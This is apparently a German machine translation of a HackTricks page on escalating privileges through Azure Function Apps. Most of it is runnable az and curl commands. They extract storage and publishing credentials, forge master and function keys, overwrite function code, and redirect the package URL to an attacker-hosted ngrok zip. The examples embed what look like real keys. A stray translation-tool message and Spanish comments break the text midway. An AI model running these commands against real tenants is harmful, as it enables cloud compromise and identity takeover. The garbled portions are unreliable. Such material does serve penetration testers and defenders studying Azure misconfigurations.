Az - Functions App Privesc

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Function Apps

Weitere Informationen auf der folgenden Seite:

Az - Function Apps

Bucket Lese-/Schreibzugriff

Mit Berechtigungen zum Lesen der Container im Storage Account, der die Funktionsdaten speichert, ist es möglich, verschiedene Container (kundenspezifisch oder mit vordefinierten Namen) zu finden, die möglicherweise den von der Funktion ausgeführten Code enthalten.

Sobald Sie gefunden haben, wo der Code der Funktion liegt, können Sie, wenn Sie Schreibberechtigungen darauf haben, die Funktion dazu bringen, beliebigen Code auszuführen und Privilegien auf die an die Funktion gebundenen managed identities zu eskalieren.

  • File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

Der Code der Funktion wird normalerweise in einem File Share gespeichert. Mit ausreichend Zugriff ist es möglich, die Code-Datei zu verändern und die Funktion beliebigen Code laden zu lassen, wodurch Privilegien auf die an die Function gebundenen managed identities eskaliert werden können.

Diese Bereitstellungsmethode konfiguriert normalerweise die Einstellungen WEBSITE_CONTENTAZUREFILECONNECTIONSTRING und WEBSITE_CONTENTSHARE, die Sie abrufen können.

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Those configs will contain the Storage Account Key that the Function can use to access the code.

Caution

Mit ausreichenden Berechtigungen, um eine Verbindung zum File Share herzustellen und das laufende Skript zu ändern, ist es möglich, beliebigen Code in der Function auszuführen und Privilegien zu eskalieren.

The following example uses macOS to connect to the file share, but it’s recommended to check also the following page for more info about file shares:

Az - File Shares

# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
  • function-releases (WEBSITE_RUN_FROM_PACKAGE)

Es ist außerdem üblich, die zip releases im Ordner function-releases des Storage Account-Containers zu finden, den die function app verwendet — üblicherweise in einem Container mit dem Namen function-releases.

Normalerweise setzt diese Deployment-Methode die Config WEBSITE_RUN_FROM_PACKAGE in:

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Diese Konfiguration enthält normalerweise eine SAS URL zum Herunterladen des Codes vom Storage Account.

Caution

Mit ausreichenden Rechten, um eine Verbindung zum Blob-Container herzustellen, der den Code als Zip enthält, ist es möglich, beliebigen Code in der Function auszuführen und Privilegien zu eskalieren.

  • github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)

Wie im vorherigen Fall: Wenn das Deployment über Github Actions erfolgt, kann man im Storage Account den Ordner github-actions-deploy finden, der ein Zip des Codes enthält, sowie eine SAS URL zur Zip-Datei in der Einstellung WEBSITE_RUN_FROM_PACKAGE.

  • scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

Mit Berechtigungen, die Container im Storage Account, der die Function-Daten speichert, lesen zu können, ist es möglich, den Container scm-releases zu finden. Dort lässt sich die neueste Release im Squashfs filesystem file format finden und somit der Code der Function auslesen:

# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip

Es ist auch möglich, die Master- und Functions-Keys im Storage-Konto im Container azure-webjobs-secrets innerhalb des Ordners <app-name> in den darin enthaltenen JSON-Dateien zu finden.

Caution

Mit ausreichenden Rechten, um eine Verbindung zum Blob-Container herzustellen, der den Code in einer zip extension file enthält (die tatsächlich ein squashfs ist), ist es möglich, beliebigen Code in der Function auszuführen und Privilegien zu eskalieren.

# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite

Microsoft.Web/sites/host/listkeys/action

Diese Berechtigung erlaubt das Auflisten der function-, master- und system-keys, jedoch nicht des host-keys der angegebenen function mit:

az functionapp keys list --resource-group <res_group> --name <func-name>

Mit dem master key ist es auch möglich, den source code in einer URL wie folgt zu erhalten:

# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v

Und um den Code, der in der Funktion ausgeführt wird, zu ändern mit:

# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

Microsoft.Web/sites/functions/listKeys/action

Diese Berechtigung erlaubt es, den Standardschlüssel der angegebenen Function mit folgendem Befehl abzurufen:

az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Rufe die Funktion mit dem erhaltenen Standardschlüssel auf:

curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"

Microsoft.Web/sites/host/functionKeys/write

Diese Berechtigung erlaubt das Erstellen/Aktualisieren eines function key der angegebenen Funktion mit:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

Diese Berechtigung erlaubt das Erstellen/Aktualisieren eines Master-Keys für die angegebene Funktion mit:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Caution

Denke daran, dass du mit diesem key auch auf den source code zugreifen und ihn wie zuvor beschrieben ändern kannst!

Microsoft.Web/sites/host/systemKeys/write

Diese Berechtigung erlaubt das Erstellen/Aktualisieren eines system function key für die angegebene Funktion mit:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Ich sehe keinen Schlüssel oder Text zum Übersetzen. Bitte füge den Key oder den Inhalt der Datei src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md hier ein, dann übersetze ich ihn ins Deutsche unter Beibehaltung der Markdown-/HTML-Syntax.

# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"

# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"

Microsoft.Web/sites/config/list/action

Diese Berechtigung erlaubt das Abrufen der Einstellungen einer Function. In diesen Konfigurationen können möglicherweise die Standardwerte AzureWebJobsStorage oder WEBSITE_CONTENTAZUREFILECONNECTIONSTRING gefunden werden, die einen Account-Schlüssel zum Zugriff auf das blob storage der Function mit FULL permissions enthalten.

az functionapp config appsettings list --name <func-name> --resource-group <res-group>

Außerdem erlaubt diese Berechtigung auch, die SCM username and password (falls aktiviert) wie folgt zu erhalten:

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

Diese Berechtigungen erlauben es, wie bereits gesehen, die Konfigurationswerte einer Function aufzulisten und zusätzlich diese Werte zu ändern. Das ist nützlich, weil diese Einstellungen anzeigen, wo sich der auszuführende Code innerhalb der Function befindet.

Es ist daher möglich, den Wert der Einstellung WEBSITE_RUN_FROM_PACKAGE so zu setzen, dass er auf eine URL zu einer ZIP-Datei zeigt, welche den neuen Code enthält, der innerhalb einer Webanwendung ausgeführt werden soll:

  • Beginnen Sie damit, die aktuelle Konfiguration abzurufen
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
  • Erstelle den Code, den die Funktion ausführen soll, und hoste ihn öffentlich
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
  • Ändere die Funktion, behalte die vorherigen Parameter bei und füge am Ende die Konfiguration WEBSITE_RUN_FROM_PACKAGE hinzu, die auf die URL mit dem zip zeigt, welche den Code enthält.

Das Folgende ist ein Beispiel meiner eigenen Einstellungen — du musst die Werte für deine ändern, beachte am Ende den Wert "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip", hier habe ich die App gehostet.

# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Microsoft.Web/sites/hostruntime/vfs/write

Mit dieser Berechtigung ist es möglich, den Code einer Anwendung zu ändern über die Webkonsole (oder über den folgenden API-Endpunkt):

# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");

const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";

context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

Diese Berechtigung erlaubt das Auflisten aller Publishing-Profile, die im Wesentlichen basic auth credentials enthalten:

# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json

Eine weitere Möglichkeit wäre, deine eigenen creds zu setzen und sie zu verwenden:

az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
  • Wenn REDACTED Anmeldeinformationen

Wenn du siehst, dass diese Anmeldeinformationen REDACTED sind, liegt das daran, dass du die SCM basic authentication option aktivieren musst und dafür benötigst du die zweite Berechtigung (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):

# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
  • Methode SCM

Anschließend kannst du mit diesen basic auth credentials to the SCM URL auf die SCM-URL deiner function app zugreifen und die Werte der env variables auslesen:

# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy

Beachte, dass der SCM-Benutzername normalerweise das Zeichen “$” gefolgt vom Namen der App ist, also: $<app-name>.

Du kannst die Webseite auch über https://<app-name>.scm.azurewebsites.net/BasicAuth aufrufen.

Die Einstellungen enthalten den AccountKey des Storage-Accounts, der die Daten der Function App speichert, und ermöglichen so die Kontrolle dieses Storage-Accounts.

  • Methode FTP

Stelle eine Verbindung zum FTP-Server her mit:

# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it

Beachte, dass der FTP username normalerweise im Format <app-name>\$<app-name> ist.

Microsoft.Web/sites/hostruntime/vfs/read

Diese Berechtigung erlaubt es, den Quellcode der App über das VFS zu lesen:

az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Microsoft.Web/sites/functions/token/action

Mit dieser Berechtigung ist es möglich, get the admin token, mit dem später der master key abgerufen werden kann und man somit auf den function’s code zugreifen und ihn ändern kann.

Allerdings wurde bei meinen letzten Prüfungen kein Token zurückgegeben, es könnte also deaktiviert sein oder nicht mehr funktionieren, aber hier ist, wie du vorgehen würdest:

# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"

Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)

Diese Berechtigungen erlauben es, Funktionen zu aktivieren, die möglicherweise deaktiviert sind (oder sie zu deaktivieren).

# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"

Es ist außerdem möglich, über die folgende URL zu prüfen, ob eine Funktion aktiviert oder deaktiviert ist (mit der in Klammern angegebenen Berechtigung):

az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)

Mit diesen Berechtigungen ist es möglich, den von einer als Container konfigurierten function app ausgeführten Container zu modifizieren. Dadurch könnte ein Angreifer eine bösartige azure function container app (zum Beispiel) auf docker hub hochladen und die function dazu bringen, diese auszuführen.

az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)

Mit diesen Berechtigungen ist es möglich, attach a new user managed identity to a function. Wenn die function kompromittiert wurde, würde dies erlauben, Privilegien auf jede user managed identity zu eskalieren.

az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>

Remote Debugging

Es ist auch möglich, eine Verbindung herzustellen, um eine laufende Azure function zu debuggen, wie explained in the docs. Standardmäßig deaktiviert Azure diese Option jedoch nach 2 Tagen, falls der Entwickler vergisst, sie auszuschalten, um verwundbare Konfigurationen zu vermeiden.

Es ist möglich zu überprüfen, ob Debugging für eine Function aktiviert ist mit:

az functionapp show --name <app-name> --resource-group <res-group>

Wenn man die Berechtigung Microsoft.Web/sites/config/write hat, ist es außerdem möglich, eine Funktion in den Debugging-Modus zu versetzen (der folgende Befehl erfordert außerdem die Berechtigungen Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read und Microsoft.Web/sites/Read).

az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>

Change Github repo

Ich habe versucht, das Github repo, von dem aus die Bereitstellung erfolgt, durch Ausführen der folgenden Befehle zu ändern, aber selbst wenn es geändert wurde, wurde der neue Code nicht geladen (wahrscheinlich, weil erwartet wird, dass die Github Action den Code aktualisiert).
Außerdem wurde die managed identity federated credential nicht aktualisiert, um das neue Repository zuzulassen, daher scheint das nicht sehr nützlich zu sein.

# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks